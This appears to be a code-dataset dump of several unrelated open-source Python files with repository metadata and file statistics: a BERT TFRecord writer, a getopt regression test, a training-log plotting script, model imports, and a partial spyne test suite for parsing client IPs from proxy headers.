!= M: continue queue.append((distance+1, x, y)) del queue[0] return solution matrix = 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] s = Solution() r = s.updateMatrix(matrix) print(r)

514.540984

30,010

0.341989

10,242

31,387

1.048037

0.007518

0.933296

1.398826

1.863984

0.941681

0.939072

0.93665

0.933296

0.931619

0

0.325816

0.015293

31,387

60

30,011

523.116667

0.021484

0.016089

0

1

0.043478

false

0

0.173913

0.043478

0

1

null

1

0

1

0

1

0

null

0

14

84756a9068660351be37b164fa29320a5068e0fd

5,616

py

Python

t2t_bert/example/write_to_tfrecords_multitask.py

yyht/bert

480c909e0835a455606e829310ff949c9dd23549

[ "Apache-2.0" ]

34

2018-12-19T01:00:57.000Z

2021-03-26T09:36:37.000Z

t2t_bert/example/write_to_tfrecords_multitask.py

yyht/bert

480c909e0835a455606e829310ff949c9dd23549

[ "Apache-2.0" ]

11

2018-12-25T03:37:59.000Z

2021-08-25T14:43:58.000Z

t2t_bert/example/write_to_tfrecords_multitask.py

yyht/bert

480c909e0835a455606e829310ff949c9dd23549

[ "Apache-2.0" ]

9

2018-12-27T08:00:44.000Z

2020-06-08T03:05:14.000Z

import tensorflow as tf from data_generator import tf_data_utils from data_generator import data_feature_classifier from data_generator import tokenization import collections from example.feature_writer import MultitaskFeatureWriter def convert_multitask_classifier_examples_to_features(examples, label_dict, max_seq_length, tokenizer, output_file, task_type, task_type_dict): feature_writer = MultitaskFeatureWriter(output_file, is_training=False) for (ex_index, example) in enumerate(examples): tokens_a = tokenizer.tokenize(example.text_a) if ex_index % 10000 == 0: tf.logging.info("Writing example %d of %d" % (ex_index, len(examples))) tokens_b = None if example.text_b: try: tokens_b = tokenizer.tokenize(example.text_b) except: print("==token b error==", example.text_b, ex_index) break if tokens_b: tf_data_utils._truncate_seq_pair(tokens_a, tokens_b, max_seq_length-3) else: if len(tokens_a) > max_seq_length - 2: tokens_a = tokens_a[0:(max_seq_length - 2)] tokens = [] segment_ids = [] tokens.append("[CLS]") segment_ids.append(0) for token in tokens_a: tokens.append(token) segment_ids.append(0) tokens.append("[SEP]") segment_ids.append(0) if tokens_b: for token in tokens_b: tokens.append(token) segment_ids.append(1) tokens.append("[SEP]") segment_ids.append(1) input_ids = tokenizer.convert_tokens_to_ids(tokens) input_mask = [1] * len(input_ids) # Zero-pad up to the sequence length. while len(input_ids) < max_seq_length: input_ids.append(0) input_mask.append(0) segment_ids.append(0) try: assert len(input_ids) == max_seq_length assert len(input_mask) == max_seq_length assert len(segment_ids) == max_seq_length except: print(len(input_ids), max_seq_length, ex_index, "length error") break if len(example.label) == 1: label_id = label_dict[example.label[0]] else: label_id = [0] * len(label_dict) for item in example.label: label_id[label_dict[item]] = 1 if ex_index < 5: print(tokens) tf.logging.info("*** Example ***") tf.logging.info("guid: %s" % (example.guid)) tf.logging.info("tokens: %s" % " ".join( [tokenization.printable_text(x) for x in tokens])) tf.logging.info("input_ids: %s" % " ".join([str(x) for x in input_ids])) tf.logging.info("input_mask: %s" % " ".join([str(x) for x in input_mask])) tf.logging.info( "segment_ids: %s" % " ".join([str(x) for x in segment_ids])) tf.logging.info("label: {} (id = {})".format(example.label, label_id)) feature = data_feature_classifier.InputFeatures( guid=example.guid, input_ids=input_ids, input_mask=input_mask, segment_ids=segment_ids, label_ids=label_id) feature_writer.process_feature(feature, task_type, task_type_dict) feature_writer.close() def convert_multitask_classifier_merged_examples_to_features(examples, task_label_dict, max_seq_length, tokenizer, output_file, task_type_dict): feature_writer = MultitaskFeatureWriter(output_file, is_training=False) for (ex_index, item) in enumerate(examples): example = item["example"] task_type = item["task"] label_dict = task_label_dict[task_type] tokens_a = tokenizer.tokenize(example.text_a) if ex_index % 10000 == 0: tf.logging.info("Writing example %d of %d" % (ex_index, len(examples))) tokens_b = None if example.text_b: try: tokens_b = tokenizer.tokenize(example.text_b) except: print("==token b error==", example.text_b, ex_index) break if tokens_b: tf_data_utils._truncate_seq_pair(tokens_a, tokens_b, max_seq_length-3) else: if len(tokens_a) > max_seq_length - 2: tokens_a = tokens_a[0:(max_seq_length - 2)] tokens = [] segment_ids = [] tokens.append("[CLS]") segment_ids.append(0) for token in tokens_a: tokens.append(token) segment_ids.append(0) tokens.append("[SEP]") segment_ids.append(0) if tokens_b: for token in tokens_b: tokens.append(token) segment_ids.append(1) tokens.append("[SEP]") segment_ids.append(1) input_ids = tokenizer.convert_tokens_to_ids(tokens) input_mask = [1] * len(input_ids) # Zero-pad up to the sequence length. while len(input_ids) < max_seq_length: input_ids.append(0) input_mask.append(0) segment_ids.append(0) try: assert len(input_ids) == max_seq_length assert len(input_mask) == max_seq_length assert len(segment_ids) == max_seq_length except: print(len(input_ids), max_seq_length, ex_index, "length error") break if len(example.label) == 1: label_id = label_dict[example.label[0]] else: label_id = [0] * len(label_dict) for item in example.label: label_id[label_dict[item]] = 1 if ex_index < 5: print(tokens) tf.logging.info("*** Example ***") tf.logging.info("guid: %s" % (example.guid)) tf.logging.info("tokens: %s" % " ".join( [tokenization.printable_text(x) for x in tokens])) tf.logging.info("input_ids: %s" % " ".join([str(x) for x in input_ids])) tf.logging.info("input_mask: %s" % " ".join([str(x) for x in input_mask])) tf.logging.info( "segment_ids: %s" % " ".join([str(x) for x in segment_ids])) tf.logging.info("label: {} (id = {})".format(example.label, label_id)) feature = data_feature_classifier.InputFeatures( guid=example.guid, input_ids=input_ids, input_mask=input_mask, segment_ids=segment_ids, label_ids=label_id) feature_writer.process_feature(feature, task_type, task_type_dict) feature_writer.close()

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null

0

1

0

1

0

null

0

7

ca2bf1547f2d7bc415a5430af429418d16bc5b16

9,029

py

Python

test/regression-oo.py

markuskimius/getopt-py

a649c03eb8a7fdbcb629691de9d1fb70ac0e7201

[ "Apache-2.0" ]

null

test/regression-oo.py

markuskimius/getopt-py

a649c03eb8a7fdbcb629691de9d1fb70ac0e7201

[ "Apache-2.0" ]

null

test/regression-oo.py

markuskimius/getopt-py

a649c03eb8a7fdbcb629691de9d1fb70ac0e7201

[ "Apache-2.0" ]

null

#!/bin/bash if "true" : '''\' then export PYTHONPATH="$(dirname $0)/../lib" echo "*** BASIC ***" python3 "$0" myarg1 python3 "$0" -n python3 "$0" --no-arg python3 "$0" -w warg1 python3 "$0" --with-arg warg1 python3 "$0" --with-arg=warg1 python3 "$0" -i1024 python3 "$0" -i 1024 python3 "$0" --integer 1024 python3 "$0" --integer=1024 python3 "$0" -o 128 python3 "$0" -o128 python3 "$0" --opt-arg 128 python3 "$0" --opt-arg=128 echo "*** REPETITIONS ***" python3 "$0" myarg1 myarg2 python3 "$0" -nn python3 "$0" --no-arg --no-arg python3 "$0" -w warg1 -w warg2 python3 "$0" -wwarg1 -wwarg2 python3 "$0" --with-arg warg1 --with-arg warg2 python3 "$0" --with-arg=warg1 --with-arg=warg2 python3 "$0" -i1024 -i2048 python3 "$0" -i 1024 -i 2048 python3 "$0" --integer 1024 --integer 2048 python3 "$0" --integer=1024 --integer=2048 python3 "$0" -o 128 -o 256 python3 "$0" -o128 -o256 python3 "$0" --opt-arg 128 --opt-arg 256 python3 "$0" --opt-arg=128 --opt-arg=256 echo "*** COMBINATION (RELATED) ***" python3 "$0" -n --no-arg python3 "$0" -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 python3 "$0" -i1024 -i 2048 --integer 3072 --integer=4096 echo "*** COMBINATION (COMPREHENSIVE) ***" python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 python3 "$0" --no-arg -nwwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 python3 "$0" --no-arg -wwarg1 -nw warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -ni1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -ni 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 -n python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 -n myarg1 python3 "$0" --no-arg -w warg1 --with-arg warg2 --with-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 -nwwarg4 python3 "$0" --no-arg -w warg1 --with-arg warg2 --with-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 -nwwarg4 myarg1 python3 "$0" --no-arg -wwarg1 --with-arg warg2 --with-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 -nw warg4 python3 "$0" --no-arg -wwarg1 --with-arg warg2 --with-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 -o 32 -o64 --opt-arg 128 --opt-arg=256 -nw warg4 myarg1 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i 1024 --integer 2048 --integer=3072 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 -ni4096 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i 1024 --integer 2048 --integer=3072 -o 32 -o64 --opt-arg 128 --opt-arg=256 -ni4096 myarg1 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 --integer 2048 --integer=3072 -o 32 -o64 --opt-arg 128 --opt-arg=256 myarg1 -ni 4096 python3 "$0" --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 --integer 2048 --integer=3072 -o 32 -o64 --opt-arg 128 --opt-arg=256 -ni 4096 myarg1 echo "*** EMPTY ARGS ***" python3 "$0" -n --no-arg -wwarg1 -w "" --with-arg warg2 --with-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg "" --with-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg= -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 -i1024 -i 1024 --integer 2048 --integer=3072 myarg1 --with-arg= python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 -i1024 -i 1024 --integer 2048 --integer=3072 --with-arg= myarg1 python3 "$0" -n --no-arg -wwarg1 -w "" --opt-arg warg2 --opt-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --opt-arg "" --opt-arg=warg3 -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --opt-arg warg3 --opt-arg= -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --opt-arg warg3 -i1024 -i 1024 --integer 2048 --integer=3072 myarg1 --opt-arg= python3 "$0" -n --no-arg -wwarg1 -w warg2 --opt-arg warg3 -i1024 -i 1024 --integer 2048 --integer=3072 --opt-arg= myarg1 python3 "$0" -n --no-arg -wwarg1 -w "" -o warg2 -owarg3 -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 -o "" -owarg3 -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 -o warg3 -o "" -i1024 -i 2048 --integer 3072 --integer=4096 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 -o warg3 -i1024 -i 1024 --integer 2048 --integer=3072 myarg1 -o "" python3 "$0" -n --no-arg -wwarg1 -w warg2 -o warg3 -i1024 -i 1024 --integer 2048 --integer=3072 -o "" myarg1 echo "*** EXCEPTIONS (EMPTY INTEGER ARGS) ***" python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i "" --integer 2048 --integer=3072 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer "" --integer=3072 myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer= myarg1 echo "*** EXCEPTIONS (MISSING MANDATORY ARGS) ***" python3 "$0" -n --no-arg -w warg1 --with-arg warg2 --with-arg=warg3 -i1024 -i 1024 --integer 2048 --integer=3072 myarg1 -w python3 "$0" -n --no-arg -wwarg1 --with-arg warg2 --with-arg=warg3 -i1024 -i 1024 --integer 2048 --integer=3072 myarg1 -w python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg=warg3 -i1024 -i 1024 --integer 2048 --integer=3072 myarg1 --with-arg python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i 1024 --integer 2048 --integer=3072 myarg1 -i python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 --integer 2048 --integer=3072 myarg1 -i python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer=3072 myarg1 --integer python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 --integer= myarg1 python3 "$0" -n --no-arg -wwarg1 -w warg2 --with-arg warg3 --with-arg=warg4 -i1024 -i 2048 --integer 3072 myarg1 --integer= exit 0 fi ''' import sys, os, errno, getopts def test(args): print(" target %s:" % ' '.join(map(lambda x: x if len(x) else '{}', args[1:]))) sys.stdout.flush() output = target(args) for name in sorted(output.keys()): values = output[name] if len(values): print(" %s = %s" % (name, ' '.join(values))) print('') def target(args): opts = { '-|opts' : [], '-|index' : [], '0' : [], 'n' : [], 'w' : [], 'i' : [], 'o' : [], 'x' : [], } getopt = getopts.getopts(args, { "n": 0 , "no-arg" : 0, "w": 1 , "with-arg" : 1, "i": is_int , "integer" : is_int, "o": [is_int,"null"] , "opt-arg" : [is_int,"null"], }) for c in getopt: optopt = '0' if c == '-' else getopt.optopt optind = str(getopt.optind-1) optarg = getopt.optarg if len(getopt.optarg) else '{}' opts['-|opts'].append(optopt) opts['-|index'].append(optind) if(c in ('-')) : opts['0'].append(optarg) elif(c in ('n', 'no-arg')) : opts['n'].append(optarg) elif(c in ('w', 'with-arg')) : opts['w'].append(optarg) elif(c in ('i', 'integer')) : opts['i'].append(optarg) elif(c in ('o', 'opt-arg')) : opts['o'].append(optarg) else : opts['x'].append(optarg) return opts def is_int(s_int): isint = True try: int(s_int) except: isint = False return isint if __name__ == "__main__": try: test(sys.argv) except KeyboardInterrupt: print("") sys.exit(errno.EOWNERDEAD) # vim:ft=python

53.111765

170

0.597741

1,399

9,029

3.847034

0.080057

0.10851

0.11427

0.073579

0.782609

0.754552

0.743961

0.72854

0.703642

0.670754

0

0.174158

0.213977

9,029

169

171

53.426036

0.584191

0.002658

0

0.175182

0

0.29927

0.821282

0.002333

0

1

0.021898

false

0

0.007299

0

0.043796

0.029197

0

null

0

1

0

1

0

null

0

7

0494fa6d6dec9f9f3e73cd5578f7fd13dfafc3be

283

py

Python

traffic_monitor/models/models.py

mcdomx/monitor

55082a3ea985224b819e4e2b7e13f44e70ac0b74

[ "MIT" ]

1

2020-09-23T14:36:30.000Z

traffic_monitor/models/models.py

mcdomx/monitor

55082a3ea985224b819e4e2b7e13f44e70ac0b74

[ "MIT" ]

3

2021-09-08T02:32:20.000Z

2022-03-12T00:49:29.000Z

traffic_monitor/models/models.py

mcdomx/monitor

55082a3ea985224b819e4e2b7e13f44e70ac0b74

[ "MIT" ]

null

# from traffic_monitor.models.model_class import Class from traffic_monitor.models.model_detector import Detector from traffic_monitor.models.model_feed import Feed from traffic_monitor.models.model_logentry import LogEntry from traffic_monitor.models.model_monitor import Monitor

35.375

58

0.879859

40

283

5.975

0.25

0.230126

0.376569

0.502092

0.606695

0

0.081272

283

7

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0.919231

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0

1

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true

0

1

0

1

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null

1

0

1

0

null

0

1

0

1

0

1

0

7

04c36e4176a22c7c7df8e9ea1934b7f8c3c623be

3,427

py

Python

FinnishXL/log_interpreter.py

aalto-speech/FinnishXL

42afe376162dd08d5eaa0639aed4221fa3db4cc2

[ "Apache-2.0" ]

1

2021-04-12T13:32:44.000Z

FinnishXL/log_interpreter.py

aalto-speech/FinnishXL

42afe376162dd08d5eaa0639aed4221fa3db4cc2

[ "Apache-2.0" ]

null

FinnishXL/log_interpreter.py

aalto-speech/FinnishXL

42afe376162dd08d5eaa0639aed4221fa3db4cc2

[ "Apache-2.0" ]

null

#%% import numpy as np import matplotlib.pyplot as plt import seaborn as sns epochs=[] learning_rates=[] steps=[] training_loss=[] training_ppl=[] msbatch=[] valid_step=[] valid_loss=[] valid_ppl=[] counter=0 work_dirs=['/m/triton/scratch/elec/puhe/p/jaina5/transformer-xl/FinnishXL/-Ktrain/20190913-122106/log.txt','/m/triton/scratch/elec/puhe/p/jaina5/transformer-xl/FinnishXL/-Ktrain/20190828-114732/log.txt'] ytick=np.arange(4,11,1) with open(work_dirs[0], "r", encoding="utf-8") as reader: for _ in range(67): next(reader) lines = reader.readlines() for line in lines: line = line.strip() if '--' in line: continue if '==' in line: continue if 'Eval' in line: split_line=line.split(' ') filter_split = list(filter(lambda a: a != '', split_line)) filter_split = list(filter(lambda a: a != '|', filter_split)) valid_step.append(filter_split[4]) valid_loss.append(filter_split[9]) valid_ppl.append(filter_split[11]) continue if 'Exiting' in line: continue if 'End' in line: continue split_line=line.split(' ') filter_split = list(filter(lambda a: a != '', split_line)) filter_split = list(filter(lambda a: a != '|', filter_split)) epochs.append(float(filter_split[1])) steps.append(float(filter_split[3])) learning_rates.append(float(filter_split[7])) training_loss.append(float(filter_split[11])) training_ppl.append(float(filter_split[13])) fig, ax = plt.subplots() plt.plot(np.array(steps),np.array(training_loss),'r-') epochs=[] learning_rates=[] steps=[] training_loss=[] training_ppl=[] msbatch=[] valid_step=[] valid_loss=[] valid_ppl=[] with open(work_dirs[1], "r", encoding="utf-8") as reader: for _ in range(67): next(reader) lines = reader.readlines() for line in lines: line = line.strip() if '--' in line: continue if '==' in line: continue if 'Eval' in line: split_line=line.split(' ') filter_split = list(filter(lambda a: a != '', split_line)) filter_split = list(filter(lambda a: a != '|', filter_split)) valid_step.append(filter_split[4]) valid_loss.append(filter_split[9]) valid_ppl.append(filter_split[11]) continue if 'Exiting' in line: continue if 'End' in line: continue split_line=line.split(' ') filter_split = list(filter(lambda a: a != '', split_line)) filter_split = list(filter(lambda a: a != '|', filter_split)) epochs.append(float(filter_split[1])) steps.append(float(filter_split[3])) learning_rates.append(float(filter_split[7])) training_loss.append(float(filter_split[11])) training_ppl.append(float(filter_split[13])) plt.plot(np.array(steps),np.array(training_loss),'b-') every_nth = 10 # for n, label in enumerate(ax.yaxis.get_ticklabels()): # if n % every_nth != 0: # label.set_visible(False) # for n, label in enumerate(ax.xaxis.get_ticklabels()): # if n % 20 != 0: # label.set_visible(False) locs, labels = plt.yticks() #print(locs,labels) plt.show() #sns.lineplot(epochs,training_loss) plt.savefig('test_train_plot.png')

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0

null

0

1

0

1

0

null

0

7

04f8918cd5c17c29ccf6e674945fb34501013389

24,030

py

Python

spyne/test/util/test_address.py

edustaff/spyne

27f2061325d29a55803fb47b1b37978ab21ea240

[ "BSD-3-Clause" ]

786

2015-01-04T10:46:28.000Z

2022-03-31T19:24:35.000Z

spyne/test/util/test_address.py

edustaff/spyne

27f2061325d29a55803fb47b1b37978ab21ea240

[ "BSD-3-Clause" ]

248

2015-01-01T21:52:47.000Z

2022-03-09T08:55:04.000Z

spyne/test/util/test_address.py

edustaff/spyne

27f2061325d29a55803fb47b1b37978ab21ea240

[ "BSD-3-Clause" ]

210

2015-01-10T14:20:31.000Z

2022-03-09T08:38:43.000Z

#!/usr/bin/env python # # spyne - Copyright (C) Spyne contributors. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 # # The MIT License # # Copyright (c) Val Neekman @ Neekware Inc. http://neekware.com # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # from unittest import TestCase from spyne.util.address import set_address_parser_settings set_address_parser_settings(trusted_proxies=['177.139.233.100']) from spyne.util.address import address_parser class IPv4TestCase(TestCase): """IP address Test""" def test_meta_none(self): request = { } ip = address_parser.get_real_ip(request) self.assertIsNone(ip) def test_http_x_forwarded_for_multiple(self): request = { 'HTTP_X_FORWARDED_FOR': '192.168.255.182, 10.0.0.0, 127.0.0.1, 198.84.193.157, 177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_multiple_left_most_ip(self): request = { 'HTTP_X_FORWARDED_FOR': '192.168.255.182, 198.84.193.157, 10.0.0.0, 127.0.0.1, 177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_multiple_right_most_ip(self): request = { 'HTTP_X_FORWARDED_FOR': '192.168.255.182, 198.84.193.157, 10.0.0.0, 127.0.0.1, 177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request, right_most_proxy=True) self.assertEqual(ip, "177.139.233.139") def test_http_x_forwarded_for_multiple_right_most_ip_private(self): request = { 'HTTP_X_FORWARDED_FOR': '192.168.255.182, 198.84.193.157, 10.0.0.0, 127.0.0.1, 177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request, right_most_proxy=True) self.assertEqual(ip, "177.139.233.139") def test_http_x_forwarded_for_multiple_bad_address(self): request = { 'HTTP_X_FORWARDED_FOR': 'unknown, 192.168.255.182, 10.0.0.0, 127.0.0.1, 198.84.193.157, 177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "198.84.193.157") def test_http_x_forwarded_for_singleton(self): request = { 'HTTP_X_FORWARDED_FOR': '177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.139") def test_http_x_forwarded_for_singleton_private_address(self): request = { 'HTTP_X_FORWARDED_FOR': '192.168.255.182', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.132") def test_bad_http_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'HTTP_X_FORWARDED_FOR': 'unknown 177.139.233.139', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.132") def test_empty_http_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '177.139.233.132', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.132") def test_empty_http_x_forwarded_for_empty_x_real_ip_fallback_on_remote_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_empty_http_x_forwarded_for_private_x_real_ip_fallback_on_remote_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'HTTP_X_REAL_IP': '192.168.255.182', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_private_http_x_forward_for_ip_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '127.0.0.1', 'HTTP_X_REAL_IP': '', 'REMOTE_ADDR': '', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_private_remote_addr_for_ip_addr(self): request = { 'HTTP_X_FORWARDED_FOR': '', 'REMOTE_ADDR': '127.0.0.1', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, None) def test_missing_x_forwarded(self): request = { 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_missing_x_forwarded_missing_real_ip(self): request = { 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_best_matched_real_ip(self): request = { 'HTTP_X_REAL_IP': '127.0.0.1', 'REMOTE_ADDR': '172.31.233.133', } ip = address_parser.get_ip(request) self.assertEqual(ip, "172.31.233.133") def test_best_matched_private_ip(self): request = { 'HTTP_X_REAL_IP': '127.0.0.1', 'REMOTE_ADDR': '192.31.233.133', } ip = address_parser.get_ip(request) self.assertEqual(ip, "192.31.233.133") def test_best_matched_private_ip_2(self): request = { 'HTTP_X_REAL_IP': '192.31.233.133', 'REMOTE_ADDR': '127.0.0.1', } ip = address_parser.get_ip(request) self.assertEqual(ip, "192.31.233.133") def test_x_forwarded_for_multiple(self): request = { 'X_FORWARDED_FOR': '192.168.255.182, 10.0.0.0, 127.0.0.1, 198.84.193.157, 177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "198.84.193.157") def test_x_forwarded_for_multiple_left_most_ip(self): request = { 'X_FORWARDED_FOR': '192.168.255.182, 198.84.193.157, 10.0.0.0, 127.0.0.1, 177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "198.84.193.157") def test_x_forwarded_for_multiple_right_most_ip(self): request = { 'X_FORWARDED_FOR': '192.168.255.182, 198.84.193.157, 10.0.0.0, 127.0.0.1, 177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request, right_most_proxy=True) self.assertEqual(ip, "177.139.233.139") def test_x_forwarded_for_multiple_right_most_ip_private(self): request = { 'X_FORWARDED_FOR': '192.168.255.182, 198.84.193.157, 10.0.0.0, 127.0.0.1, 177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request, right_most_proxy=True) self.assertEqual(ip, "177.139.233.139") def test_x_forwarded_for_multiple_bad_address(self): request = { 'X_FORWARDED_FOR': 'unknown, 192.168.255.182, 10.0.0.0, 127.0.0.1, 198.84.193.157, 177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "198.84.193.157") def test_x_forwarded_for_singleton(self): request = { 'X_FORWARDED_FOR': '177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.139") def test_x_forwarded_for_singleton_private_address(self): request = { 'X_FORWARDED_FOR': '192.168.255.182', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_bad_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'X_FORWARDED_FOR': 'unknown 177.139.233.139', 'REMOTE_ADDR': '177.139.233.133', } ip = address_parser.get_real_ip(request) self.assertEqual(ip, "177.139.233.133") def test_empty_x_forwarded_for_fallback_on_x_real_ip(self): request = { 'X_FORWARDED_FOR': '', 'REMOTE_ADDR': 